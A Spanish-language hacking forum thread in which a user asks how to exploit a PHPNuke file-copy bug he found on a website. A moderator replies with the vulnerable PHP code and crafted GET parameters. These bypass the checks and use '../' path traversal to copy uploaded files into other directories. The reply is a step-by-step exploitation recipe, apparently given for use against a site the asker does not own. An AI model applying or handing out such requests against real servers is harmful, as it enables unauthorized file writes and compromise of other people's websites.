elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 14:31  


Tema destacado: Únete al Grupo Steam elhacker.NET

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  PHPNuke Remote File Copy Vulnerability
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: PHPNuke Remote File Copy Vulnerability  (Leído 1,264 veces)
edume

Desconectado Desconectado

Mensajes: 32


Los nuevos conocimientos se usan con precaucion


Ver Perfil
PHPNuke Remote File Copy Vulnerability
« en: 22 Enero 2006, 02:38 »

Ola he descubierto en una web un bug cgi PHPNuke Remote File Copy Vulnerability i me gustaria saber como explotarlo ia he buscado por algunos sitios unos dicen que se puede explotar medieante el navegador, nose aver si me pueden hechar un cable.

gracias
En línea

Cambia tu meta y tus limites
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: PHPNuke Remote File Copy Vulnerability
« Respuesta #1 en: 22 Enero 2006, 05:57 »

Hola, despues de encontrar donde estaba la vulnerabilidad, y dado que en securityfocus no dicen nada.
La información la encontré aquí:
http://p.ulh.as/xploitsdb/Other/5940.html

Este es el segmento de código vulnerable
Código:
if (isset($userfile) AND $userfile != "none") {
    if (ini_get(file_uploads) AND $attachments == 1) {
$updir = "tmp";
@copy($userfile, "$updir/$userfile_name");


en este, podemos ver que:
Código:
if (isset($userfile) AND $userfile != "none") {
comprueba que exista un archivo del usuario.. sinembargo podemos meterlo con metodo GET, así.
mailatach.php?userfile=true
eso, mete un valor verdadero a userfile, lo que hace que pase la primera verificación.

despues, esta:
Código:
    if (ini_get(file_uploads) AND $attachments == 1) {
este verifica que que haya attachments, lo que hacemos creer con:
mailatach.php?attachments=1
despues, se define un directorio default.
Código:
$updir = "tmp";
y se mete el archivo en ese directorio.
Código:
@copy($userfile, "$updir/$userfile_name");

sinembargo, dado que tambien podemos modificar $userfile_name, y al meter /../ ordenamos que se suba un directorio..

podemos meter archivos en directorios superiores, siempre que tengamos permiso de escribir ahí.
la petición GET final quedaría:
Código:
userfile=[DESTINO]
&userfile_name=../attachments/[ARCHIVO_QUE_SUBISTE]
&attachments=1
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines